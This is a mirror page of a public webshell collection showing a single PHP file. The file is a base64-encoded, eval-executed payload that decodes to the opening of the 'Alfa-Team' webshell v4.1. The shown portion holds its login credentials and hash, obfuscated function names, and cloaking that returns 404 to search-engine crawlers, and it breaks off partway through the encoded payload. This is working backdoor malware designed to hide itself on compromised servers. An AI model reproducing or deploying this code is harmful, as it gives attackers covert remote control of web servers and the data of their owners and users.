mirror of
https://github.com/tennc/webshell
synced 2024-11-22 11:13:03 +00:00
1 line
604 KiB
PHP
1 line
604 KiB
PHP
<?=eval("?>".base64_decode("PD9waHANCi8qDQoJQXV0aG9yOiAJU29sZXZpc2libGUvQWxmYS1UZWFtDQoJVGVsZWdyYW06IAlodHRwczovL3RlbGVncmFtLm1lL3NvbGV2aXNpYmxlDQoJWW91VHViZTogCWh0dHBzOi8veW91dHViZS5jb20vc29sZXZpc2libGUNCglHbWFpbDoJCXNvbGV2aXNpYmxlQGdtYWlsLmNvbQ0KCURhdGU6CQlNb25kYXksIFNlcHRlbWJlciAxNCwgMjAyMA0KKi8NCiRHTE9CQUxTWydvWmdOeXBvUFJVJ10gPSBhcnJheSgNCiAgICAndXNlcm5hbWUnID0+ICdhbGZhJywNCiAgICAncGFzc3dvcmQnID0+ICdhNmY0NTJlYzMyOTNkN2ZiNzJjNWI2NzcyNTdiMjBlYycsLy9tZDUoZWhzYW4pDQogICAgJ3NhZmVfbW9kZScgPT4gJzAnLA0KICAgICdsb2dpbl9wYWdlJyA9PiAnNDAzJywNCiAgICAnc2hvd19pY29ucycgPT4gJzEnLA0KICAgICdwb3N0X2VuY3J5cHRpb24nID0+IGZhbHNlLA0KICAgICdjZ2lfYXBpJyA9PiB0cnVlLA0KKTsNCg0KJENXcHBVREp4dWYgPSAnZnUnIC4gJ24nIC4gJ2N0JyAuICdpb25fJyAuICdlJyAuICd4aXN0JyAuICdzJzsNCiRhenRKdGFmVVhtID0gJ2NoYScgLiAncicgLiAnQycgLiAnbycgLiAnZCcgLiAnZScgLiAnQScgLiAndCcgLiAnJzsNCiRPVnBHTnFxRlpzID0gJ2UnIC4gJ3YnIC4gJ2FsJzsNCiRwc0RFd0doc3hnID0gJ2d6JyAuICdpbmYnIC4gJ2xhdGUnOw0KDQppZiAoISRDV3BwVURKeHVmKCdiJyAuICdhJyAuICdzZTY0JyAuICdfZW4nIC4gJ2MnIC4gJ29kZScgLiAnJykpDQp7DQogICAgZnVuY3Rpb24gdmNudlNDWmdCeigkZGF0YSkNCiAgICB7DQogICAgICAgIGlmIChlbXB0eSgkZGF0YSkpIHJldHVybjsNCiAgICAgICAgJGI2NCA9ICdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvPSc7DQogICAgICAgICRvMSA9ICRvMiA9ICRvMyA9ICRoMSA9ICRoMiA9ICRoMyA9ICRoNCA9ICRiaXRzID0gJGkgPSAwOw0KICAgICAgICAkYWMgPSAwOw0KICAgICAgICAkZW5jID0gJyc7DQogICAgICAgICR0bXBfYXJyID0gYXJyYXkoKTsNCiAgICAgICAgaWYgKCEkZGF0YSkNCiAgICAgICAgew0KICAgICAgICAgICAgcmV0dXJuICRkYXRhOw0KICAgICAgICB9DQogICAgICAgIGRvDQogICAgICAgIHsNCiAgICAgICAgICAgICRvMSA9ICRhenRKdGFmVVhtKCRkYXRhLCAkaSsrKTsNCiAgICAgICAgICAgICRvMiA9ICRhenRKdGFmVVhtKCRkYXRhLCAkaSsrKTsNCiAgICAgICAgICAgICRvMyA9ICRhenRKdGFmVVhtKCRkYXRhLCAkaSsrKTsNCiAgICAgICAgICAgICRiaXRzID0gJG8xIDw8IDE2IHwgJG8yIDw8IDggfCAkbzM7DQogICAgICAgICAgICAkaDEgPSAkYml0cyA+PiAxOCAmIDB4M2Y7DQogICAgICAgICAgICAkaDIgPSAkYml0cyA+PiAxMiAmIDB4M2Y7DQogICAgICAgICAgICAkaDMgPSAkYml0cyA+PiA2ICYgMHgzZjsNCiAgICAgICAgICAgICRoNCA9ICRiaXRzICYgMHgzZjsNCiAgICAgICAgICAgICR0bXBfYXJyWyRhYysrXSA9IGNoYXJBdCgkYjY0LCAkaDEpIC4gY2hhckF0KCRiNjQsICRoMikgLiBjaGFyQXQoJGI2NCwgJGgzKSAuIGNoYXJBdCgkYjY0LCAkaDQpOw0KICAgICAgICB9DQogICAgICAgIHdoaWxlICgkaSA8IHN0cmxlbigkZGF0YSkpOw0KICAgICAgICAkZW5jID0gaW1wbG9kZSgkdG1wX2FyciwgJycpOw0KICAgICAgICAkciA9IChzdHJsZW4oJGRhdGEpICUgMyk7DQogICAgICAgIHJldHVybiAoJHIgPyBzdWJzdHIoJGVuYywgMCwgKCRyIC0gMykpIDogJGVuYykgLiBzdWJzdHIoJz09PScsICgkciB8fCAzKSk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGNoYXJDb2RlQXQoJGRhdGEsICRjaGFyKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuIG9yZChzdWJzdHIoJGRhdGEsICRjaGFyLCAxKSk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGNoYXJBdCgkZGF0YSwgJGNoYXIpDQogICAgew0KICAgICAgICByZXR1cm4gc3Vic3RyKCRkYXRhLCAkY2hhciwgMSk7DQogICAgfQ0KfQ0KZWxzZQ0Kew0KICAgIGZ1bmN0aW9uIHZjbnZTQ1pnQnooJHMpDQogICAgew0KICAgICAgICAkYiA9ICdiJyAuICdhJyAuICdzZTY0JyAuICdfZW4nIC4gJ2MnIC4gJ29kZScgLiAnJzsNCiAgICAgICAgcmV0dXJuICRiKCRzKTsNCiAgICB9DQp9DQppZiAoISRDV3BwVURKeHVmKCdiJyAuICdhJyAuICdzZScgLiAnNicgLiAnNCcgLiAnX2QnIC4gJ2Vjb2QnIC4gJ2UnIC4gJycpKQ0Kew0KICAgIGZ1bmN0aW9uIHpSdFNIc2JUelYoJGlucHV0KQ0KICAgIHsNCiAgICAgICAgaWYgKGVtcHR5KCRpbnB1dCkpIHJldHVybjsNCiAgICAgICAgJGtleVN0ciA9ICJBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvPSI7DQogICAgICAgICRjaHIxID0gJGNocjIgPSAkY2hyMyA9ICIiOw0KICAgICAgICAkZW5jMSA9ICRlbmMyID0gJGVuYzMgPSAkZW5jNCA9ICIiOw0KICAgICAgICAkaSA9IDA7DQogICAgICAgICRvdXRwdXQgPSAiIjsNCiAgICAgICAgJGlucHV0ID0gcHJlZ19yZXBsYWNlKCJbXkEtWmEtejAtOVwrXC9cPV0iLCAiIiwgJGlucHV0KTsNCiAgICAgICAgZG8NCiAgICAgICAgew0KICAgICAgICAgICAgJGVuYzEgPSBzdHJwb3MoJGtleVN0ciwgc3Vic3RyKCRpbnB1dCwgJGkrKywgMSkpOw0KICAgICAgICAgICAgJGVuYzIgPSBzdHJwb3MoJGtleVN0ciwgc3Vic3RyKCRpbnB1dCwgJGkrKywgMSkpOw0KICAgICAgICAgICAgJGVuYzMgPSBzdHJwb3MoJGtleVN0ciwgc3Vic3RyKCRpbnB1dCwgJGkrKywgMSkpOw0KICAgICAgICAgICAgJGVuYzQgPSBzdHJwb3MoJGtleVN0ciwgc3Vic3RyKCRpbnB1dCwgJGkrKywgMSkpOw0KICAgICAgICAgICAgJGNocjEgPSAoJGVuYzEgPDwgMikgfCAoJGVuYzIgPj4gNCk7DQogICAgICAgICAgICAkY2hyMiA9ICgoJGVuYzIgJiAxNSkgPDwgNCkgfCAoJGVuYzMgPj4gMik7DQogICAgICAgICAgICAkY2hyMyA9ICgoJGVuYzMgJiAzKSA8PCA2KSB8ICRlbmM0Ow0KICAgICAgICAgICAgJG91dHB1dCA9ICRvdXRwdXQgLiBjaHIoKGludCkkY2hyMSk7DQogICAgICAgICAgICBpZiAoJGVuYzMgIT0gNjQpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJG91dHB1dCA9ICRvdXRwdXQgLiBjaHIoKGludCkkY2hyMik7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAoJGVuYzQgIT0gNjQpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJG91dHB1dCA9ICRvdXRwdXQgLiBjaHIoKGludCkkY2hyMyk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkY2hyMSA9ICRjaHIyID0gJGNocjMgPSAiIjsNCiAgICAgICAgICAgICRlbmMxID0gJGVuYzIgPSAkZW5jMyA9ICRlbmM0ID0gIiI7DQogICAgICAgIH0NCiAgICAgICAgd2hpbGUgKCRpIDwgc3RybGVuKCRpbnB1dCkpOw0KICAgICAgICByZXR1cm4gJG91dHB1dDsNCiAgICB9DQp9DQplbHNlDQp7DQogICAgZnVuY3Rpb24gelJ0U0hzYlR6VigkcykNCiAgICB7DQogICAgICAgICRiID0gJ2InIC4gJ2EnIC4gJ3NlJyAuICc2JyAuICc0JyAuICdfZCcgLiAnZWNvZCcgLiAnZScgLiAnJzsNCiAgICAgICAgcmV0dXJuICRiKCRzKTsNCiAgICB9DQp9DQoNCmZ1bmN0aW9uIF9fWlc1amIyUmxjZygkcykNCnsNCiAgICByZXR1cm4gdmNudlNDWmdCeigkcyk7DQp9DQpmdW5jdGlvbiBfX1pHVmpiMlJsY2coJHMpDQp7DQogICAgcmV0dXJuIHpSdFNIc2JUelYoJHMpOw0KfQ0KDQokR0xPQkFMU1snREJfTkFNRSddID0gJEdMT0JBTFNbJ29aZ055cG9QUlUnXTsNCg0KZm9yZWFjaCAoJEdMT0JBTFNbJ0RCX05BTUUnXSBhcyAka2V5ID0+ICR2YWx1ZSkNCnsNCgkkcHJlZml4ID0gc3Vic3RyKCRrZXksIDAsIDIpOw0KCWlmICgkcHJlZml4ID09ICJ1cyIpDQoJew0KCQkkR0xPQkFMU1snREJfTkFNRSddWyJ1c2VyIl0gPSAkdmFsdWU7DQoJCSRHTE9CQUxTWydEQl9OQU1FJ11bInVzZXJfcmFuZCJdID0gJGtleTsNCgl9DQoJZWxzZWlmICgkcHJlZml4ID09ICJwYSIpDQoJew0KCQkkR0xPQkFMU1snREJfTkFNRSddWyJwYXNzIl0gPSAkdmFsdWU7DQoJCSRHTE9CQUxTWydEQl9OQU1FJ11bInBhc3NfcmFuZCJdID0gJGtleTsNCgl9DQoJZWxzZWlmICgkcHJlZml4ID09ICJzYSIpDQoJew0KCQkkR0xPQkFMU1snREJfTkFNRSddWyJzYWZlbW9kZSJdID0gJHZhbHVlOw0KCQkkR0xPQkFMU1snREJfTkFNRSddWyJzYWZlbW9kZV9yYW5kIl0gPSAka2V5Ow0KCX0NCgllbHNlaWYgKCRwcmVmaXggPT0gImxvIikNCgl7DQoJCSRHTE9CQUxTWydEQl9OQU1FJ11bImxvZ2luX3BhZ2UiXSA9ICR2YWx1ZTsNCgkJJEdMT0JBTFNbJ0RCX05BTUUnXVsibG9naW5fcGFnZV9yYW5kIl0gPSAka2V5Ow0KCX0NCgllbHNlaWYgKCRwcmVmaXggPT0gInNoIikNCgl7DQoJCSRHTE9CQUxTWydEQl9OQU1FJ11bInNob3dfaWNvbnMiXSA9ICR2YWx1ZTsNCgkJJEdMT0JBTFNbJ0RCX05BTUUnXVsic2hvd19pY29uc19yYW5kIl0gPSAka2V5Ow0KCX0NCgllbHNlaWYgKCRwcmVmaXggPT0gInBvIikNCgl7DQoJCSRHTE9CQUxTWydEQl9OQU1FJ11bInBvc3RfZW5jcnlwdGlvbiJdID0gJHZhbHVlOw0KCQkkR0xPQkFMU1snREJfTkFNRSddWyJwb3N0X2VuY3J5cHRpb25fcmFuZCJdID0gJGtleTsNCgl9DQoJZWxzZWlmICgkcHJlZml4ID09ICJjZyIpDQoJew0KCQkkR0xPQkFMU1snREJfTkFNRSddWyJjZ2lfYXBpIl0gPSAkdmFsdWU7DQoJCSRHTE9CQUxTWydEQl9OQU1FJ11bImNnaV9hcGlfcmFuZCJdID0gJGtleTsNCgl9DQp9DQoNCnVuc2V0KCRHTE9CQUxTWydvWmdOeXBvUFJVJ10pOw0KDQppZiAoIWlzc2V0KCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkpIGV4aXQoKTsNCg0KaWYoIWVtcHR5KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpeyR1c2VyQWdlbnRzID0gYXJyYXkoIkdvb2dsZSIsIlNsdXJwIiwiTVNOQm90IiwiaWFfYXJjaGl2ZXIiLCJZYW5kZXgiLCJSYW1ibGVyIiwiYm90Iiwic3BpZGVyIik7aWYocHJlZ19tYXRjaCgnLycuaW1wbG9kZSgnfCcsJHVzZXJBZ2VudHMpLicvaScsJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSl7aGVhZGVyKCdIVFRQLzEuMCA0MDQgTm90IEZvdW5kJyk7ZXhpdDt9fQ0KaWYoIWlzc2V0KCRHTE9CQUxTWydEQl9OQU1FJ11bJ3VzZXInXSkpZXhpdCgnJEdMT0JBTFNbXCdEQl9OQU1FXCddW1wndXNlclwnXScpOw0KaWYoIWlzc2V0KCRHTE9CQUxTWydEQl9OQU1FJ11bJ3Bhc3MnXSkpZXhpdCgnJEdMT0JBTFNbXCdEQl9OQU1FXCddW1wncGFzc1wnXScpOw0KaWYoIWlzc2V0KCRHTE9CQUxTWydEQl9OQU1FJ11bJ3NhZmVtb2RlJ10pKWV4aXQoJyRHTE9CQUxTW1wnREJfTkFNRVwnXVtcJ3NhZmVtb2RlXCddJyk7DQppZighaXNzZXQoJEdMT0JBTFNbJ0RCX05BTUUnXVsnbG9naW5fcGFnZSddKSlleGl0KCckR0xPQkFMU1tcJ0RCX05BTUVcJ11bXCdsb2dpbl9wYWdlXCddJyk7DQppZighaXNzZXQoJEdMT0JBTFNbJ0RCX05BTUUnXVsnc2hvd19pY29ucyddKSlleGl0KCckR0xPQkFMU1tcJ0RCX05BTUVcJ11bXCdzaG93X2ljb25zXCddJyk7DQppZighaXNzZXQoJEdMT0JBTFNbJ0RCX05BTUUnXVsncG9zdF9lbmNyeXB0aW9uJ10pKWV4aXQoJyRHTE9CQUxTW1wnREJfTkFNRVwnXVtcJ3Bvc3RfZW5jcnlwdGlvblwnXScpOw0KZGVmaW5lKCJfX0FMRkFfVkVSU0lPTl9fIiwgIjQuMSIpOw0KZGVmaW5lKCJfX0FMRkFfVVBEQVRFX18iLCAiMiIpOw0KZGVmaW5lKCJfX0FMRkFfQ09ERV9OQU1FX18iLCAiVGlhcmEiKTsNCmRlZmluZSgiX19VQ0VOX0RBVEFfRk9MREVSX18iLCAiVUNFTl9EQVRBIik7DQpkZWZpbmUoIl9fQUxGQV9QT1NUX0VOQ1JZUFRJT05fXyIsIChpc3NldCgkR0xPQkFMU1siREJfTkFNRSJdWyJwb3N0X2VuY3J5cHRpb24iXSkmJiRHTE9CQUxTWyJEQl9OQU1FIl1bInBvc3RfZW5jcnlwdGlvbiJdPT10cnVlP3RydWU6ZmFsc2UpKTsNCmRlZmluZSgiX19BTEZBX1NFQ1JFVF9LRVlfXyIsIF9fQUxGQV9QT1NUX0VOQ1JZUFRJT05fXz9fQWxmYVNlY3JldEtleSgpOicnKTsNCiRHTE9CQUxTWydfX0FMRkFfQ09MT1JfXyddID0gYXJyYXkoDQoJCSJzaGVsbF9ib3JkZXIiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiNkOTE0OWEiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiLmhlYWRlciIgPT4gImJvcmRlcjogN3B4IHNvbGlkIHtjb2xvcn0iLA0KCQkJCSIjbWV1bmxpc3QiID0+ICJib3JkZXItY29sb3I6IHtjb2xvcn0iLA0KCQkJCSIjaGlkZGVuX3NoIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfSIsDQoJCQkJIi5hamF4YXJlYSIgPT4gImJvcmRlcjogMXB4IHNvbGlkIHtjb2xvcn0iLA0KCQkJCSIuZm9vdCIgPT4gImJvcmRlci1jb2xvcjoge2NvbG9yfSIsDQoJCQkpDQoJCSksDQoJCSJoZWFkZXJfdmFycyIgPT4gIiNkOTE0OWEiLA0KCQkiaGVhZGVyX3ZhbHVlcyIgPT4gIiM2N0FCREYiLA0KCQkiaGVhZGVyX29uIiA9PiAiIzAwRkYwMCIsDQoJCSJoZWFkZXJfb2ZmIiA9PiAiI2ZmMDAwMCIsDQoJCSJoZWFkZXJfbm9uZSIgPT4gIiMwMEZGMDAiLA0KCQkiaG9tZV9zaGVsbCIgPT4gIiNmZjAwMDAiLA0KCQkiaG9tZV9zaGVsbDpob3ZlciIgPT4gYXJyYXkoDQoJCQkia2V5X2NvbG9yIiA9PiAiI0ZGRkZGRiIsDQoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KA0KCQkJCSIuaG9tZV9zaGVsbDpob3ZlciIgPT4gImNvbG9yOiB7Y29sb3J9OyIsDQoJCQkpDQoJCSksDQoJCSJiYWNrX3NoZWxsIiA9PiAiI2VmYmU3MyIsDQoJCSJiYWNrX3NoZWxsOmhvdmVyIiA9PiBhcnJheSgNCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwNCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoDQoJCQkJIi5iYWNrX3NoZWxsOmhvdmVyIiA9PiAiY29sb3I6IHtjb2xvcn07IiwNCgkJCSkNCgkJKSwNCgkJImhlYWRlcl9wd2QiID0+ICIjMDBGRjAwIiwNCgkJImhlYWRlcl9wd2Q6aG92ZXIiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiLmhlYWRlcl9wd2Q6aG92ZXIiID0+ICJjb2xvcjoge2NvbG9yfTsiLA0KCQkJKQ0KCQkpLA0KCQkiaGVhZGVyX2RyaXZlIiA9PiAiIzAwRkYwMCIsDQoJCSJoZWFkZXJfZHJpdmU6aG92ZXIiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiLmhlYWRlcl9kcml2ZTpob3ZlciIgPT4gImNvbG9yOiB7Y29sb3J9OyIsDQoJCQkpDQoJCSksDQoJCSJoZWFkZXJfc2hvd19hbGwiID0+ICIjMDBGRjAwIiwNCgkJImRpc2FibGVfZnVuY3Rpb25zIiA9PiAiI2ZmMDAwMCIsDQoJCSJmb290ZXJfdGV4dCIgPT4gIiNlZDE4YWEiLA0KCQkibWVudV9vcHRpb25zIiA9PiAiI2VkMThhYSIsDQoJCSJtZW51X29wdGlvbnM6aG92ZXIiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiM2NDY0NjQiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiLm1lbnVfb3B0aW9uczpob3ZlciIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07Zm9udC13ZWlnaHQ6IHVuc2V0OyIsDQoJCQkpDQoJCSksDQoJCSJvcHRpb25zX2xpc3QiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiMwMEZGMDAiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLmhlYWRlciBjZW50ZXIgYSIgPT4gImNvbG9yOiB7Y29sb3J9OyIsDQoJCQkpDQoJCSksDQoJCSJvcHRpb25zX2xpc3Q6aG92ZXIiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLmhlYWRlciBjZW50ZXIgYTpob3ZlciIgPT4gImNvbG9yOiB7Y29sb3J9OyIsDQoJCQkpDQoJCSksDQoJCSJvcHRpb25zX2xpc3RfaGVhZGVyIiA9PiBhcnJheSgNCgkJCSJrZXlfY29sb3IiID0+ICIjNTljYzMzIiwNCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoDQoJCQkJIi50eHRmb250X2hlYWRlciIgPT4gImNvbG9yOiB7Y29sb3J9OyIsDQoJCQkpDQoJCSksDQoJCSJvcHRpb25zX2xpc3RfdGV4dCIgPT4gYXJyYXkoDQoJCQkia2V5X2NvbG9yIiA9PiAiI0ZGRkZGRiIsDQoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KA0KCQkJCSIudHh0Zm9udCwudGJsdHh0IiA9PiAiY29sb3I6IHtjb2xvcn07IiwNCgkJCSkNCgkJKSwNCgkJIkFsZmErIiA9PiBhcnJheSgNCgkJCSJrZXlfY29sb3IiID0+ICIjMDZmZjBmIiwNCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoDQoJCQkJIi5hbGZhX3BsdXMiID0+ICJjb2xvcjoge2NvbG9yfTtmb250LXdlaWdodDogdW5zZXQ7IiwNCgkJCSkNCgkJKSwNCgkJImhpZGRlbl9zaGVsbF90ZXh0IiA9PiBhcnJheSgNCgkJCSJrZXlfY29sb3IiID0+ICIjMDBGRjAwIiwNCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoDQoJCQkJIiNoaWRkZW5fc2ggYSIgPT4gImNvbG9yOiB7Y29sb3J9OyIsDQoJCQkpDQoJCSksDQoJCSJoaWRkZW5fc2hlbGxfdmVyc2lvbiIgPT4gIiNmZjAwMDAiLA0KCQkic2hlbGxfbmFtZSIgPT4gIiNGRjAwMDAiLA0KCQkibWFpbl9yb3c6aG92ZXIiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiM2NDY0NjQiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiLm1haW4gdHI6aG92ZXIiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsDQoJCQkpDQoJCSksDQoJCSJtYWluX2hlYWRlciIgPT4gYXJyYXkoDQoJCQkia2V5X2NvbG9yIiA9PiAiI0ZGRkZGRiIsDQoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KA0KCQkJCSIubWFpbiB0aCIgPT4gImNvbG9yOiB7Y29sb3J9OyIsDQoJCQkpDQoJCSksDQoJCSJtYWluX25hbWUiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiLm1haW4gLm1haW5fbmFtZSIgPT4gImNvbG9yOiB7Y29sb3J9O2ZvbnQtd2VpZ2h0OiB1bnNldDsiLA0KCQkJKQ0KCQkpLA0KCQkibWFpbl9zaXplIiA9PiAiIzY3QUJERiIsDQoJCSJtYWluX21vZGlmeSIgPT4gIiM2N0FCREYiLA0KCQkibWFpbl9vd25lcl9ncm91cCIgPT4gIiM2N0FCREYiLA0KCQkibWFpbl9ncmVlbl9wZXJtIiA9PiAiIzI1ZmYwMCIsDQoJCSJtYWluX3JlZF9wZXJtIiA9PiAiI0ZGMDAwMCIsDQoJCSJtYWluX3doaXRlX3Blcm0iID0+ICIjRkZGRkZGIiwNCgkJImJlZXR3ZWVuX3Blcm1zIiA9PiAiI0ZGRkZGRiIsDQoJCSJtYWluX2FjdGlvbnMiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiLm1haW4gLmFjdGlvbnMiID0+ICJjb2xvcjoge2NvbG9yfTsiLA0KCQkJKQ0KCQkpLA0KCQkibWVudV9vcHRpb25zOmhvdmVyIiA9PiBhcnJheSgNCgkJCSJrZXlfY29sb3IiID0+ICIjNjQ2NDY0IiwNCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoDQoJCQkJIi5tZW51X29wdGlvbnM6aG92ZXIiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9O2ZvbnQtd2VpZ2h0OiB1bnNldDsiLA0KCQkJKQ0KCQkpLA0KCQkibWluaW1pemVfZWRpdG9yX2JhY2tncm91bmQiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiNkOTE0OWEiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiLm1pbmltaXplZC13cmFwcGVyIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfTsiLA0KCQkJKQ0KCQkpLA0KCQkibWluaW1pemVfZWRpdG9yX3RleHQiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiNmNWRlYjMiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiLm1pbmltaXplZC10ZXh0IiA9PiAiY29sb3I6IHtjb2xvcn07IiwNCgkJCSkNCgkJKSwNCgkJImVkaXRvcl9ib3JkZXIiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiNkOTE0OWEiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiLmVkaXRvci1leHBsb3JlciwuZWRpdG9yLW1vZGFsIiA9PiAiYm9yZGVyOiAycHggc29saWQge2NvbG9yfTsiLA0KCQkJKQ0KCQkpLA0KCQkiZWRpdG9yX2JhY2tncm91bmQiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gInJnYmEoMCwgMSwgMjMsIDAuOTQpIiwNCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoDQoJCQkJIi5lZGl0b3ItZXhwbG9yZXIsLmVkaXRvci1tb2RhbCIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07IiwNCgkJCSkNCgkJKSwNCgkJImVkaXRvcl9oZWFkZXJfYmFja2dyb3VuZCIgPT4gYXJyYXkoDQoJCQkia2V5X2NvbG9yIiA9PiAicmdiYSgyMSwgNjYsIDg4LCAwLjkzKSIsDQoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KA0KCQkJCSIuZWRpdG9yLWhlYWRlciIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07IiwNCgkJCSkNCgkJKSwNCgkJImVkaXRvcl9oZWFkZXJfdGV4dCIgPT4gYXJyYXkoDQoJCQkia2V5X2NvbG9yIiA9PiAiIzAwZmY3ZiIsDQoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KA0KCQkJCSIuZWRpdG9yLXBhdGgiID0+ICJjb2xvcjoge2NvbG9yfTsiLA0KCQkJKQ0KCQkpLA0KCQkiZWRpdG9yX2hlYWRlcl9idXR0b24iID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiMxZDU2NzMiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiLmNsb3NlLWJ1dHRvbiwgLmVkaXRvci1taW5pbWl6ZSIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07IiwNCgkJCSkNCgkJKSwNCgkJImVkaXRvcl9hY3Rpb25zIiA9PiBhcnJheSgNCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwNCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoDQoJCQkJIi5lZGl0b3JfYWN0aW9ucyIgPT4gImNvbG9yOiB7Y29sb3J9OyIsDQoJCQkpDQoJCSksDQoJCSJlZGl0b3JfZmlsZV9pbmZvX3ZhcnMiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiLmVkaXRvcl9maWxlX2luZm9fdmFycyIgPT4gImNvbG9yOiB7Y29sb3J9OyIsDQoJCQkpDQoJCSksDQoJCSJlZGl0b3JfZmlsZV9pbmZvX3ZhbHVlcyIgPT4gYXJyYXkoDQoJCQkia2V5X2NvbG9yIiA9PiAiIzY3QUJERiIsDQoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KA0KCQkJCSIuZmlsZXN0b29scyIgPT4gImNvbG9yOiB7Y29sb3J9OyIsDQoJCQkpDQoJCSksDQoJCSJlZGl0b3JfaGlzdG9yeV9oZWFkZXIiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiMxNGZmMDciLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiLmhoZWFkZXItdGV4dCwuaGlzdG9yeS1jbGVhciIgPT4gImNvbG9yOiB7Y29sb3J9OyIsDQoJCQkpDQoJCSksDQoJCSJlZGl0b3JfaGlzdG9yeV9saXN0IiA9PiBhcnJheSgNCgkJCSJrZXlfY29sb3IiID0+ICIjMDNiM2EzIiwNCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoDQoJCQkJIi5lZGl0b3ItZmlsZS1uYW1lIiA9PiAiY29sb3I6IHtjb2xvcn07IiwNCgkJCSkNCgkJKSwNCgkJImVkaXRvcl9oaXN0b3J5X3NlbGVjdGVkX2ZpbGUiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gInJnYmEoNDksIDU1LCA5MywgMC43NykiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiLmlzX2FjdGl2ZSIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07IiwNCgkJCSkNCgkJKSwNCgkJImVkaXRvcl9oaXN0b3J5X2ZpbGU6aG92ZXIiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiM2NDY0Nj